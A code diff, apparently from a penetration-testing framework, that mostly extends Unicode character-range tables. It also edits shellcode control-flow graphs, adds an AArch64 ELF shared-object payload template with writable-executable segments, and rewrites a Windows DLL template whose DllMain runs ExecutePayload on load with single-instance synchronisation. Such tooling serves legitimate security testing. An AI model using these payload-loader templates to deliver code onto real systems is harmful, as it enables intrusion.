 	c = 0xab70;		// from CHEROKEE SMALL LETTER A
@@ -1374,7 +1368,7 @@ void init()
 		charset[i++] = c++;
 // 10190..101CF; Ancient Symbols
 	c = 0x10190;		// from ROMAN SEXTANS SIGN
-	while (c <= 0x1019b)	// ..to ROMAN CENTURIAL SIGN
+	while (c <= 0x1019c)	// ..to ASCIA SYMBOL
 		charset[i++] = c++;
 	charset[i++] = 0x101a0;	// GREEK SYMBOL TAU RHO
 // 101D0..101FF; Phaistos Disc
@@ -1616,6 +1610,14 @@ void init()
 	c = 0x10e60;		// from RUMI DIGIT ONE
 	while (c <= 0x10e7e)	// ..to RUMI FRACTION TWO THIRDS
 		charset[i++] = c++;
+// 10E80..10EBF; Yezidi
+	c = 0x10e80;		// from YEZIDI LETTER ELIF
+	while (c <= 0x10ea9)	// ..to YEZIDI LETTER ET
+		charset[i++] = c++;
+	charset[i++] = 0x10eab;	// YEZIDI COMBINING HAMZA MARK
+	charset[i++] = 0x10ead;	// YEZIDI HYPHENATION MARK
+	charset[i++] = 0x10eb0;	// YEZIDI LETTER LAM WITH DOT ABOVE
+	charset[i++] = 0x10eb1;	// YEZIDI LETTER YOT WITH CIRCUMFLEX ABOVE
 // 10F00..10F2F; Old Sogdian
 	c = 0x10f00;		// from OLD SOGDIAN LETTER ALEPH
 	while (c <= 0x10f27)	// ..to OLD SOGDIAN LIGATURE AYIN-DALETH
@@ -1624,6 +1626,14 @@ void init()
 	c = 0x10f30;		// from SOGDIAN LETTER ALEPH
 	while (c <= 0x10f59)	// ..to SOGDIAN PUNCTUATION HALF CIRCLE WITH DOT
 		charset[i++] = c++;
+// 10FB0..10FDF; Chorasmian
+	c = 0x10fb0;		// from CHORASMIAN LETTER ALEPH
+	while (c <= 0x10fcb)	// ..to CHORASMIAN NUMBER ONE HUNDRED
+		charset[i++] = c++;
+// 10FE0..10FFF; Elymaic
+	c = 0x10fe0;		// from ELYMAIC LETTER ALEPH
+	while (c <= 0x10ff6)	// ..to ELYMAIC LIGATURE ZAYIN-YODH
+		charset[i++] = c++;
 // 11000..1107F; Brahmi
 	c = 0x11000;		// from BRAHMI SIGN CANDRABINDU
 	while (c <= 0x1104d)	// ..to BRAHMI PUNCTUATION LOTUS
@@ -1649,7 +1659,7 @@ void init()
 	while (c <= 0x11134)	// ..to CHAKMA MAAYYAA
 		charset[i++] = c++;
 	c = 0x11136;		// from CHAKMA DIGIT ZERO
-	while (c <= 0x11146)	// ..to CHAKMA VOWEL SIGN EI
+	while (c <= 0x11147)	// ..to CHAKMA LETTER VAA
 		charset[i++] = c++;
 // 11150..1117F; Mahajani
 	c = 0x11150;		// from MAHAJANI LETTER A
@@ -1657,9 +1667,6 @@ void init()
 		charset[i++] = c++;
 // 11180..111DF; Sharada
 	c = 0x11180;		// from SHARADA SIGN CANDRABINDU
-	while (c <= 0x111cd)	// ..to SHARADA SUTRA MARK
-		charset[i++] = c++;
-	c = 0x111d0;		// from SHARADA DIGIT ZERO
 	while (c <= 0x111df)	// ..to SHARADA SECTION MARK-2
 		charset[i++] = c++;
 // 111E0..111FF; Sinhala Archaic Numbers
@@ -1731,10 +1738,11 @@ void init()
 		charset[i++] = c++;
 // 11400..1147F; Newa
 	c = 0x11400;		// from NEWA LETTER A
-	while (c <= 0x11459)	// ..to NEWA DIGIT NINE
+	while (c <= 0x1145b)	// ..to NEWA PLACEHOLDER MARK
+		charset[i++] = c++;
+	c = 0x1145d;		// from NEWA INSERTION SIGN
+	while (c <= 0x11461)	// ..to NEWA SIGN UPADHMANIYA
 		charset[i++] = c++;
-	charset[i++] = 0x1145d;	// NEWA INSERTION SIGN
-	charset[i++] = 0x1145e;	// NEWA SANDHI MARK
 // 11480..114DF; Tirhuta
 	c = 0x11480;		// from TIRHUTA ANJI
 	while (c <= 0x114c7)	// ..to TIRHUTA OM
@@ -1762,7 +1770,7 @@ void init()
 		charset[i++] = c++;
 // 11680..116CF; Takri
 	c = 0x11680;		// from TAKRI LETTER A
-	while (c <= 0x116b7)	// ..to TAKRI SIGN NUKTA
+	while (c <= 0x116b8)	// ..to TAKRI LETTER ARCHAIC KHA
 		charset[i++] = c++;
 	c = 0x116c0;		// from TAKRI DIGIT ZERO
 	while (c <= 0x116c9)	// ..to TAKRI DIGIT NINE
@@ -1786,15 +1794,42 @@ void init()
 	while (c <= 0x118f2)	// ..to WARANG CITI NUMBER NINETY
 		charset[i++] = c++;
 	charset[i++] = 0x118ff;	// WARANG CITI OM
+// 11900..1195F; Dives Akuru
+	c = 0x11900;		// from DIVES AKURU LETTER A
+	while (c <= 0x11906)	// ..to DIVES AKURU LETTER E
+		charset[i++] = c++;
+	c = 0x1190c;		// from DIVES AKURU LETTER KA
+	while (c <= 0x11913)	// ..to DIVES AKURU LETTER JA
+		charset[i++] = c++;
+	charset[i++] = 0x11915;	// DIVES AKURU LETTER NYA
+	charset[i++] = 0x11916;	// DIVES AKURU LETTER TTA
+	c = 0x11918;		// from DIVES AKURU LETTER DDA
+	while (c <= 0x11935)	// ..to DIVES AKURU VOWEL SIGN E
+		charset[i++] = c++;
+	charset[i++] = 0x11937;	// DIVES AKURU VOWEL SIGN AI
+	charset[i++] = 0x11938;	// DIVES AKURU VOWEL SIGN O
+	c = 0x1193b;		// from DIVES AKURU SIGN ANUSVARA
+	while (c <= 0x11946)	// ..to DIVES AKURU END OF TEXT MARK
+		charset[i++] = c++;
+	c = 0x11950;		// from DIVES AKURU DIGIT ZERO
+	while (c <= 0x11959)	// ..to DIVES AKURU DIGIT NINE
+		charset[i++] = c++;
+// 119A0..119FF; Nandinagari
+	c = 0x119a0;		// from NANDINAGARI LETTER A
+	while (c <= 0x119a7)	// ..to NANDINAGARI LETTER VOCALIC RR
+		charset[i++] = c++;
+	c = 0x119aa;		// from NANDINAGARI LETTER E
+	while (c <= 0x119d7)	// ..to NANDINAGARI VOWEL SIGN VOCALIC RR
+		charset[i++] = c++;
+	c = 0x119da;		// from NANDINAGARI VOWEL SIGN E
+	while (c <= 0x119e4)	// ..to NANDINAGARI VOWEL SIGN PRISHTHAMATRA E
+		charset[i++] = c++;
 // 11A00..11A4F; Zanabazar Square
 	c = 0x11a00;		// from ZANABAZAR SQUARE LETTER A
 	while (c <= 0x11a47)	// ..to ZANABAZAR SQUARE SUBJOINER
 		charset[i++] = c++;
 // 11A50..11AAF; Soyombo
 	c = 0x11a50;		// from SOYOMBO LETTER A
-	while (c <= 0x11a83)	// ..to SOYOMBO LETTER KSSA
-		charset[i++] = c++;
-	c = 0x11a86;		// from SOYOMBO CLUSTER-INITIAL LETTER RA
 	while (c <= 0x11aa2)	// ..to SOYOMBO TERMINAL MARK-2
 		charset[i++] = c++;
 // 11AC0..11AFF; Pau Cin Hau
@@ -1862,6 +1897,13 @@ void init()
 	c = 0x11ee0;		// from MAKASAR LETTER KA
 	while (c <= 0x11ef8)	// ..to MAKASAR END OF SECTION
 		charset[i++] = c++;
+// 11FB0..11FBF; Lisu Supplement
+	charset[i++] = 0x11fb0;	// LISU LETTER YHA
+// 11FC0..11FFF; Tamil Supplement
+	c = 0x11fc0;		// from TAMIL FRACTION ONE THREE-HUNDRED-AND-TWENTIETH
+	while (c <= 0x11ff1)	// ..to TAMIL SIGN VAKAIYARAA
+		charset[i++] = c++;
+	charset[i++] = 0x11fff;	// TAMIL PUNCTUATION END OF TEXT
 // 12000..123FF; Cuneiform
 	c = 0x12000;		// from CUNEIFORM SIGN A
 	while (c <= 0x12399)	// ..to CUNEIFORM SIGN U U
@@ -1881,6 +1923,10 @@ void init()
 	c = 0x13000;		// from EGYPTIAN HIEROGLYPH A001
 	while (c <= 0x1342e)	// ..to EGYPTIAN HIEROGLYPH AA032
 		charset[i++] = c++;
+// 13430..1343F; Egyptian Hieroglyph Format Controls
+	c = 0x13430;		// from EGYPTIAN HIEROGLYPH VERTICAL JOINER
+	while (c <= 0x13438)	// ..to EGYPTIAN HIEROGLYPH END SEGMENT
+		charset[i++] = c++;
 // 14400..1467F; Anatolian Hieroglyphs
 	c = 0x14400;		// from ANATOLIAN HIEROGLYPH A001
 	while (c <= 0x14646)	// ..to ANATOLIAN HIEROGLYPH A530
@@ -1927,24 +1973,35 @@ void init()
 		charset[i++] = c++;
 // 16F00..16F9F; Miao
 	c = 0x16f00;		// from MIAO LETTER PA
-	while (c <= 0x16f44)	// ..to MIAO LETTER HHA
+	while (c <= 0x16f4a)	// ..to MIAO LETTER RTE
 		charset[i++] = c++;
-	c = 0x16f50;		// from MIAO LETTER NASALIZATION
-	while (c <= 0x16f7e)	// ..to MIAO VOWEL SIGN NG
+	c = 0x16f4f;		// from MIAO SIGN CONSONANT MODIFIER BAR
+	while (c <= 0x16f87)	// ..to MIAO VOWEL SIGN UI
 		charset[i++] = c++;
 	c = 0x16f8f;		// from MIAO TONE RIGHT
 	while (c <= 0x16f9f)	// ..to MIAO LETTER REFORMED TONE-8
 		charset[i++] = c++;
 // 16FE0..16FFF; Ideographic Symbols and Punctuation
-	charset[i++] = 0x16fe0;	// TANGUT ITERATION MARK
-	charset[i++] = 0x16fe1;	// NUSHU ITERATION MARK
+	c = 0x16fe0;		// from TANGUT ITERATION MARK
+	while (c <= 0x16fe4)	// ..to KHITAN SMALL SCRIPT FILLER
+		charset[i++] = c++;
+	charset[i++] = 0x16ff0;	// VIETNAMESE ALTERNATE READING MARK CA
+	charset[i++] = 0x16ff1;	// VIETNAMESE ALTERNATE READING MARK NHAY
 // 17000..187FF; Tangut
 	c = 0x17000;		// from <Tangut Ideograph, First>
-	while (c <= 0x187f1)	// ..to <Tangut Ideograph, Last>
+	while (c <= 0x187f7)	// ..to <Tangut Ideograph, Last>
 		charset[i++] = c++;
 // 18800..18AFF; Tangut Components
 	c = 0x18800;		// from TANGUT COMPONENT-001
-	while (c <= 0x18af2)	// ..to TANGUT COMPONENT-755
+	while (c <= 0x18aff)	// ..to TANGUT COMPONENT-768
+		charset[i++] = c++;
+// 18B00..18CFF; Khitan Small Script
+	c = 0x18b00;		// from KHITAN SMALL SCRIPT CHARACTER-18B00
+	while (c <= 0x18cd5)	// ..to KHITAN SMALL SCRIPT CHARACTER-18CD5
+		charset[i++] = c++;
+// 18D00..18D8F; Tangut Supplement
+	c = 0x18d00;		// from <Tangut Ideograph Supplement, First>
+	while (c <= 0x18d08)	// ..to <Tangut Ideograph Supplement, Last>
 		charset[i++] = c++;
 // 1B000..1B0FF; Kana Supplement
 	c = 0x1b000;		// from KATAKANA LETTER ARCHAIC E
@@ -1954,6 +2011,12 @@ void init()
 	c = 0x1b100;		// from HENTAIGANA LETTER RE-3
 	while (c <= 0x1b11e)	// ..to HENTAIGANA LETTER N-MU-MO-2
 		charset[i++] = c++;
+// 1B130..1B16F; Small Kana Extension
+	charset[i++] = 0x1b150;	// HIRAGANA LETTER SMALL WI
+	charset[i++] = 0x1b152;	// HIRAGANA LETTER SMALL WO
+	c = 0x1b164;		// from KATAKANA LETTER SMALL WI
+	while (c <= 0x1b167)	// ..to KATAKANA LETTER SMALL N
+		charset[i++] = c++;
 // 1B170..1B2FF; Nushu
 	c = 0x1b170;		// from NUSHU CHARACTER-1B170
 	while (c <= 0x1b2fb)	// ..to NUSHU CHARACTER-1B2FB
@@ -2083,6 +2146,23 @@ void init()
 	c = 0x1e026;		// from COMBINING GLAGOLITIC LETTER YO
 	while (c <= 0x1e02a)	// ..to COMBINING GLAGOLITIC LETTER FITA
 		charset[i++] = c++;
+// 1E100..1E14F; Nyiakeng Puachue Hmong
+	c = 0x1e100;		// from NYIAKENG PUACHUE HMONG LETTER MA
+	while (c <= 0x1e12c)	// ..to NYIAKENG PUACHUE HMONG LETTER W
+		charset[i++] = c++;
+	c = 0x1e130;		// from NYIAKENG PUACHUE HMONG TONE-B
+	while (c <= 0x1e13d)	// ..to NYIAKENG PUACHUE HMONG SYLLABLE LENGTHENER
+		charset[i++] = c++;
+	c = 0x1e140;		// from NYIAKENG PUACHUE HMONG DIGIT ZERO
+	while (c <= 0x1e149)	// ..to NYIAKENG PUACHUE HMONG DIGIT NINE
+		charset[i++] = c++;
+	charset[i++] = 0x1e14e;	// NYIAKENG PUACHUE HMONG LOGOGRAM NYAJ
+	charset[i++] = 0x1e14f;	// NYIAKENG PUACHUE HMONG CIRCLED CA
+// 1E2C0..1E2FF; Wancho
+	c = 0x1e2c0;		// from WANCHO LETTER AA
+	while (c <= 0x1e2f9)	// ..to WANCHO DIGIT NINE
+		charset[i++] = c++;
+	charset[i++] = 0x1e2ff;	// WANCHO NGUN SIGN
 // 1E800..1E8DF; Mende Kikakui
 	c = 0x1e800;		// from MENDE KIKAKUI SYLLABLE M001 KI
 	while (c <= 0x1e8c4)	// ..to MENDE KIKAKUI SYLLABLE M060 NYON
@@ -2092,7 +2172,7 @@ void init()
 		charset[i++] = c++;
 // 1E900..1E95F; Adlam
 	c = 0x1e900;		// from ADLAM CAPITAL LETTER ALIF
-	while (c <= 0x1e94a)	// ..to ADLAM NUKTA
+	while (c <= 0x1e94b)	// ..to ADLAM NASALIZATION MARK
 		charset[i++] = c++;
 	c = 0x1e950;		// from ADLAM DIGIT ZERO
 	while (c <= 0x1e959)	// ..to ADLAM DIGIT NINE
@@ -2103,6 +2183,10 @@ void init()
 	c = 0x1ec71;		// from INDIC SIYAQ NUMBER ONE
 	while (c <= 0x1ecb4)	// ..to INDIC SIYAQ ALTERNATE LAKH MARK
 		charset[i++] = c++;
+// 1ED00..1ED4F; Ottoman Siyaq Numbers
+	c = 0x1ed01;		// from OTTOMAN SIYAQ NUMBER ONE
+	while (c <= 0x1ed3d)	// ..to OTTOMAN SIYAQ FRACTION ONE SIXTH
+		charset[i++] = c++;
 // 1EE00..1EEFF; Arabic Mathematical Alphabetic Symbols
 	c = 0x1ee00;		// from ARABIC MATHEMATICAL ALEF
 	while (c <= 0x1ee03)	// ..to ARABIC MATHEMATICAL DAL
@@ -2175,13 +2259,7 @@ void init()
 		charset[i++] = c++;
 // 1F100..1F1FF; Enclosed Alphanumeric Supplement
 	c = 0x1f100;		// from DIGIT ZERO FULL STOP
-	while (c <= 0x1f10c)	// ..to DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT ZERO
-		charset[i++] = c++;
-	c = 0x1f110;		// from PARENTHESIZED LATIN CAPITAL LETTER A
-	while (c <= 0x1f16b)	// ..to RAISED MD SIGN
-		charset[i++] = c++;
-	c = 0x1f170;		// from NEGATIVE SQUARED LATIN CAPITAL LETTER A
-	while (c <= 0x1f1ac)	// ..to SQUARED VOD
+	while (c <= 0x1f1ad)	// ..to MASK WORK SYMBOL
 		charset[i++] = c++;
 	c = 0x1f1e6;		// from REGIONAL INDICATOR SYMBOL LETTER A
 	while (c <= 0x1f1ff)	// ..to REGIONAL INDICATOR SYMBOL LETTER Z
@@ -2214,13 +2292,13 @@ void init()
 		charset[i++] = c++;
 // 1F680..1F6FF; Transport and Map Symbols
 	c = 0x1f680;		// from ROCKET
-	while (c <= 0x1f6d4)	// ..to PAGODA
+	while (c <= 0x1f6d7)	// ..to ELEVATOR
 		charset[i++] = c++;
 	c = 0x1f6e0;		// from HAMMER AND WRENCH
 	while (c <= 0x1f6ec)	// ..to AIRPLANE ARRIVING
 		charset[i++] = c++;
 	c = 0x1f6f0;		// from SATELLITE
-	while (c <= 0x1f6f9)	// ..to SKATEBOARD
+	while (c <= 0x1f6fc)	// ..to ROLLER SKATE
 		charset[i++] = c++;
 // 1F700..1F77F; Alchemical Symbols
 	c = 0x1f700;		// from ALCHEMICAL SYMBOL FOR QUINTESSENCE
@@ -2230,6 +2308,9 @@ void init()
 	c = 0x1f780;		// from BLACK LEFT-POINTING ISOSCELES RIGHT TRIANGLE
 	while (c <= 0x1f7d8)	// ..to NEGATIVE CIRCLED SQUARE
 		charset[i++] = c++;
+	c = 0x1f7e0;		// from LARGE ORANGE CIRCLE
+	while (c <= 0x1f7eb)	// ..to LARGE BROWN SQUARE
+		charset[i++] = c++;
 // 1F800..1F8FF; Supplemental Arrows-C
 	c = 0x1f800;		// from LEFTWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD
 	while (c <= 0x1f80b)	// ..to DOWNWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD
@@ -2246,37 +2327,58 @@ void init()
 	c = 0x1f890;		// from LEFTWARDS TRIANGLE ARROWHEAD
 	while (c <= 0x1f8ad)	// ..to WHITE ARROW SHAFT WIDTH TWO THIRDS
 		charset[i++] = c++;
+	charset[i++] = 0x1f8b0;	// ARROW POINTING UPWARDS THEN NORTH WEST
+	charset[i++] = 0x1f8b1;	// ARROW POINTING RIGHTWARDS THEN CURVING SOUTH WEST
 // 1F900..1F9FF; Supplemental Symbols and Pictographs
 	c = 0x1f900;		// from CIRCLED CROSS FORMEE WITH FOUR DOTS
-	while (c <= 0x1f90b)	// ..to DOWNWARD FACING NOTCHED HOOK WITH DOT
+	while (c <= 0x1f978)	// ..to DISGUISED FACE
 		charset[i++] = c++;
-	c = 0x1f910;		// from ZIPPER-MOUTH FACE
-	while (c <= 0x1f93e)	// ..to HANDBALL
+	c = 0x1f97a;		// from FACE WITH PLEADING EYES
+	while (c <= 0x1f9cb)	// ..to BUBBLE TEA
 		charset[i++] = c++;
-	c = 0x1f940;		// from WILTED FLOWER
-	while (c <= 0x1f970)	// ..to SMILING FACE WITH SMILING EYES AND THREE HEARTS
-		charset[i++] = c++;
-	c = 0x1f973;		// from FACE WITH PARTY HORN AND PARTY HAT
-	while (c <= 0x1f976)	// ..to FREEZING FACE
-		charset[i++] = c++;
-	c = 0x1f97c;		// from LAB COAT
-	while (c <= 0x1f9a2)	// ..to SWAN
-		charset[i++] = c++;
-	c = 0x1f9b0;		// from EMOJI COMPONENT RED HAIR
-	while (c <= 0x1f9b9)	// ..to SUPERVILLAIN
-		charset[i++] = c++;
-	charset[i++] = 0x1f9c0;	// CHEESE WEDGE
-	charset[i++] = 0x1f9c2;	// SALT SHAKER
-	c = 0x1f9d0;		// from FACE WITH MONOCLE
+	c = 0x1f9cd;		// from STANDING PERSON
 	while (c <= 0x1f9ff)	// ..to NAZAR AMULET
 		charset[i++] = c++;
 // 1FA00..1FA6F; Chess Symbols
+	c = 0x1fa00;		// from NEUTRAL CHESS KING
+	while (c <= 0x1fa53)	// ..to BLACK CHESS KNIGHT-BISHOP
+		charset[i++] = c++;
 	c = 0x1fa60;		// from XIANGQI RED GENERAL
 	while (c <= 0x1fa6d)	// ..to XIANGQI BLACK SOLDIER
 		charset[i++] = c++;
+// 1FA70..1FAFF; Symbols and Pictographs Extended-A
+	c = 0x1fa70;		// from BALLET SHOES
+	while (c <= 0x1fa74)	// ..to THONG SANDAL
+		charset[i++] = c++;
+	charset[i++] = 0x1fa78;	// DROP OF BLOOD
+	charset[i++] = 0x1fa7a;	// STETHOSCOPE
+	c = 0x1fa80;		// from YO-YO
+	while (c <= 0x1fa86)	// ..to NESTING DOLLS
+		charset[i++] = c++;
+	c = 0x1fa90;		// from RINGED PLANET
+	while (c <= 0x1faa8)	// ..to ROCK
+		charset[i++] = c++;
+	c = 0x1fab0;		// from FLY
+	while (c <= 0x1fab6)	// ..to FEATHER
+		charset[i++] = c++;
+	charset[i++] = 0x1fac0;	// ANATOMICAL HEART
+	charset[i++] = 0x1fac2;	// PEOPLE HUGGING
+	c = 0x1fad0;		// from BLUEBERRIES
+	while (c <= 0x1fad6)	// ..to TEAPOT
+		charset[i++] = c++;
+// 1FB00..1FBFF; Symbols for Legacy Computing
+	c = 0x1fb00;		// from BLOCK SEXTANT-1
+	while (c <= 0x1fb92)	// ..to UPPER HALF INVERSE MEDIUM SHADE AND LOWER HALF BLOCK
+		charset[i++] = c++;
+	c = 0x1fb94;		// from LEFT HALF INVERSE MEDIUM SHADE AND RIGHT HALF BLOCK
+	while (c <= 0x1fbca)	// ..to WHITE UP-POINTING CHEVRON
+		charset[i++] = c++;
+	c = 0x1fbf0;		// from SEGMENTED DIGIT ZERO
+	while (c <= 0x1fbf9)	// ..to SEGMENTED DIGIT NINE
+		charset[i++] = c++;
 // 20000..2A6DF; CJK Unified Ideographs Extension B
 	c = 0x20000;		// from <CJK Ideograph Extension B, First>
-	while (c <= 0x2a6d6)	// ..to <CJK Ideograph Extension B, Last>
+	while (c <= 0x2a6dd)	// ..to <CJK Ideograph Extension B, Last>
 		charset[i++] = c++;
 // 2A700..2B73F; CJK Unified Ideographs Extension C
 	c = 0x2a700;		// from <CJK Ideograph Extension C, First>
@@ -2298,6 +2400,10 @@ void init()
 	c = 0x2f800;		// from CJK COMPATIBILITY IDEOGRAPH-2F800
 	while (c <= 0x2fa1d)	// ..to CJK COMPATIBILITY IDEOGRAPH-2FA1D
 		charset[i++] = c++;
+// 30000..3134F; CJK Unified Ideographs Extension G
+	c = 0x30000;		// from <CJK Ideograph Extension G, First>
+	while (c <= 0x3134a)	// ..to <CJK Ideograph Extension G, Last>
+		charset[i++] = c++;
 // E0000..E007F; Tags
 	c = 0xe0020;		// from TAG SPACE
 	while (c <= 0xe007f)	// ..to CANCEL TAG

data/logos/help-using-a-module.txt

@@ -0,0 +1,15 @@
+ ______________________________________
+/ it looks like you're trying to run a \
+\ module                               /
+ --------------------------------------
+ \
+  \
+     __
+    /  \
+    |  |
+    @  @
+    |  |
+    || |/
+    || ||
+    |\_/|
+    \___/

data/shellcode/block_api.x64.graphml

@@ -642,23 +642,16 @@
     <edge source="block.0x1000" target="block.0x1017"/>
     <edge source="block.0x1017" target="block.0x1023"/>
     <edge source="block.0x1023" target="block.0x102b"/>
-    <edge source="block.0x1023" target="block.0x102d"/>
     <edge source="block.0x102b" target="block.0x102d"/>
     <edge source="block.0x102d" target="block.0x1036"/>
-    <edge source="block.0x102d" target="block.0x1023"/>
     <edge source="block.0x1036" target="block.0x104b"/>
-    <edge source="block.0x1036" target="block.0x10bd"/>
     <edge source="block.0x104b" target="block.0x1056"/>
-    <edge source="block.0x104b" target="block.0x10bd"/>
     <edge source="block.0x1056" target="block.0x1064"/>
     <edge source="block.0x1064" target="block.0x1066"/>
-    <edge source="block.0x1064" target="block.0x10bc"/>
     <edge source="block.0x1066" target="block.0x1073"/>
-    <edge source="block.0x1073" target="block.0x1073"/>
     <edge source="block.0x1073" target="block.0x1082"/>
-    <edge source="block.0x1082" target="block.0x1064"/>
     <edge source="block.0x1082" target="block.0x108c"/>
+    <edge source="block.0x108c" target="block.0x10bc"/>
     <edge source="block.0x10bc" target="block.0x10bd"/>
-    <edge source="block.0x10bd" target="block.0x1017"/>
   </graph>
 </graphml>

data/shellcode/block_api.x86.graphml

@@ -595,21 +595,15 @@
     <edge source="block.0x1000" target="block.0x100f"/>
     <edge source="block.0x100f" target="block.0x1018"/>
     <edge source="block.0x1018" target="block.0x101f"/>
-    <edge source="block.0x1018" target="block.0x1021"/>
     <edge source="block.0x101f" target="block.0x1021"/>
-    <edge source="block.0x1021" target="block.0x1018"/>
     <edge source="block.0x1021" target="block.0x1029"/>
     <edge source="block.0x1029" target="block.0x103a"/>
-    <edge source="block.0x1029" target="block.0x1086"/>
     <edge source="block.0x103a" target="block.0x1045"/>
     <edge source="block.0x1045" target="block.0x1049"/>
-    <edge source="block.0x1045" target="block.0x1085"/>
     <edge source="block.0x1049" target="block.0x1051"/>
-    <edge source="block.0x1051" target="block.0x1051"/>
     <edge source="block.0x1051" target="block.0x105d"/>
-    <edge source="block.0x105d" target="block.0x1045"/>
     <edge source="block.0x105d" target="block.0x1065"/>
+    <edge source="block.0x1065" target="block.0x1085"/>
     <edge source="block.0x1085" target="block.0x1086"/>
-    <edge source="block.0x1086" target="block.0x100f"/>
   </graph>
 </graphml>

data/templates/src/elf/dll/elf_dll_aarch64_template.s

@@ -0,0 +1,93 @@
+; build with:
+;   nasm elf_dll_aarch64_template.s -f bin -o template_aarch64_linux_dll.bin
+
+BITS 64
+org     0
+ehdr:                            ; Elf64_Ehdr
+  db    0x7F, "ELF", 2, 1, 1, 0  ;   e_ident
+  db    0, 0, 0, 0,  0, 0, 0, 0  ;
+  dw    3                        ;   e_type       = ET_DYN
+  dw    0xB7                     ;   e_machine    = AARCH64
+  dd    1                        ;   e_version
+  dq    _start                   ;   e_entry
+  dq    phdr - $$                ;   e_phoff
+  dq    shdr - $$                ;   e_shoff
+  dd    0                        ;   e_flags
+  dw    ehdrsize                 ;   e_ehsize
+  dw    phdrsize                 ;   e_phentsize
+  dw    2                        ;   e_phnum
+  dw    shentsize                ;   e_shentsize
+  dw    2                        ;   e_shnum
+  dw    1                        ;   e_shstrndx
+
+ehdrsize equ  $ - ehdr
+
+phdr:                            ; Elf32_Phdr
+  dd    1                        ;   p_type       = PT_LOAD
+  dd    7                        ;   p_flags      = rwx
+  dq    0                        ;   p_offset
+  dq    $$                       ;   p_vaddr
+  dq    $$                       ;   p_paddr
+  dq    0xDEADBEEF               ;   p_filesz
+  dq    0xDEADBEEF               ;   p_memsz
+  dq    0x1000                   ;   p_align
+phdrsize equ  $ - phdr
+  dd    2                          ; p_type  = PT_DYNAMIC
+  dd    7                          ; p_flags = rwx
+  dq    dynsection                 ; p_offset
+  dq    dynsection                 ; p_vaddr
+  dq    dynsection                 ; p_vaddr
+  dq    dynsz                      ; p_filesz
+  dq    dynsz                      ; p_memsz
+  dq    0x1000                     ; p_align
+
+shdr:
+  dd    1                          ; sh_name
+  dd    6                          ; sh_type = SHT_DYNAMIC
+  dq    0                          ; sh_flags
+  dq    dynsection                 ; sh_addr
+  dq    dynsection                 ; sh_offset
+  dq    dynsz                      ; sh_size
+  dd    0                          ; sh_link
+  dd    0                          ; sh_info
+  dq    8                          ; sh_addralign
+  dq    7                          ; sh_entsize
+shentsize equ $ - shdr
+  dd    0                          ; sh_name
+  dd    3                          ; sh_type = SHT_STRTAB
+  dq    0                          ; sh_flags
+  dq    strtab                     ; sh_addr
+  dq    strtab                     ; sh_offset
+  dq    strtabsz                   ; sh_size
+  dd    0                          ; sh_link
+  dd    0                          ; sh_info
+  dq    0                          ; sh_addralign
+  dq    0                          ; sh_entsize
+dynsection:
+; DT_INIT
+  dq    0x0c
+  dq    _start
+; DT_STRTAB
+  dq    0x05
+  dq    strtab
+; DT_SYMTAB
+  dq    0x06
+  dq    strtab
+; DT_STRSZ
+  dq    0x0a
+  dq    0
+; DT_SYMENT
+  dq    0x0b
+  dq    0
+; DT_NULL
+  dq    0x00
+  dq    0
+dynsz equ $ - dynsection
+
+strtab:
+ db 0
+ db 0
+strtabsz equ $ - strtab
+global _start
+_start:
+

data/templates/src/elf/exe/elf_aarch64_template.s

@@ -3,7 +3,7 @@
 
 
 BITS 64
-org     0
+org     0x400000
 ehdr:                            ; Elf32_Ehdr
   db    0x7F, "ELF", 2, 1, 1, 0  ;   e_ident
   db    0, 0, 0, 0,  0, 0, 0, 0  ;

data/templates/src/pe/dll/template.c

@@ -1,137 +1,144 @@
-#include <windows.h>
-#include "template.h"
-
-#if BUILDMODE == 2
-/* hand-rolled bzero allows us to avoid including ms vc runtime */
-void inline_bzero(void *p, size_t l)
-{
-	BYTE *q = (BYTE *)p;
-	size_t x = 0;
-	for (x = 0; x < l; x++)
-		*(q++) = 0x00;
-}
-
-#endif
-
-
-void ExecutePayload(void);
-
-BOOL WINAPI
-DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
-{
-	switch (dwReason)
-	{
-		case DLL_PROCESS_ATTACH:
-			ExecutePayload();
-			break;
-
-		case DLL_PROCESS_DETACH:
-			// Code to run when the DLL is freed
-			break;
-
-		case DLL_THREAD_ATTACH:
-			// Code to run when a thread is created during the DLL's lifetime
-			break;
-
-		case DLL_THREAD_DETACH:
-			// Code to run when a thread ends normally.
-			break;
-	}
-	return TRUE;
-}
-
-// Use a combination semaphore / event to check if the payload is already running and when it is, don't start a new
-// instance. This is to fix situations where the DLL is loaded multiple times into a host process and prevents the
-// payload from being executed multiple times. An event object is used to determine if the payload is currently running
-// in a child process. The event handle is created by this process (the parent) and configured to be inherited by the
-// child. While the child process is running, the event handle can be successfully opened. When the child process exits,
-// the event handle that was inherited from the parent will be automatically closed and subsequent calls to open it will
-// fail. This indicates that the payload is no longer running and a new instance can be created.
-BOOL Synchronize(void) {
-	BOOL bResult = TRUE;
-	BOOL bRelease = FALSE;
-	HANDLE hSemaphore = NULL;
-	HANDLE hEvent = NULL;
-	SECURITY_ATTRIBUTES SecurityAttributes;
-
-	// step 1: define security attributes that permit handle inheritance
-	SecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
-	SecurityAttributes.lpSecurityDescriptor = NULL;
-	SecurityAttributes.bInheritHandle = TRUE;
-
-	do {
-		// step 2: create a semaphore to synchronize this routine
-		if ((hSemaphore = CreateSemaphoreA(&SecurityAttributes, 1, 1, szSyncNameS)) == NULL) {
-			// if the semaphore creation fails, break out using the default TRUE result, this shouldn't happen
-			break;
-		}
-
-		bResult = FALSE;
-		// step 3: acquire the semaphore, if the operation timesout another instance is already running so exit
-		if (WaitForSingleObject(hSemaphore, 0) == WAIT_TIMEOUT) {
-			break;
-		}
-		bRelease = TRUE;
-
-		// step 4: check if the event already exists
-		if (hEvent = OpenEventA(READ_CONTROL | SYNCHRONIZE, TRUE, szSyncNameE)) {
-			// if the event already exists, do not continue
-			CloseHandle(hEvent);
-			break;
-		}
-
-		// step 5: if the event does not already exist, create a new one that will be inherited by the child process
-		if (hEvent = CreateEventA(&SecurityAttributes, TRUE, TRUE, szSyncNameE)) {
-			bResult = TRUE;
-		}
-	} while (FALSE);
-
-
-	// step 6: release and close the semaphore as necessary
-	if (hSemaphore) {
-		if (bRelease) {
-			ReleaseSemaphore(hSemaphore, 1, NULL);
-		}
-		CloseHandle(hSemaphore);
-	}
-	// *do not* close the event handle (hEvent), it needs to be inherited by the child process
-	return bResult;
-}
-
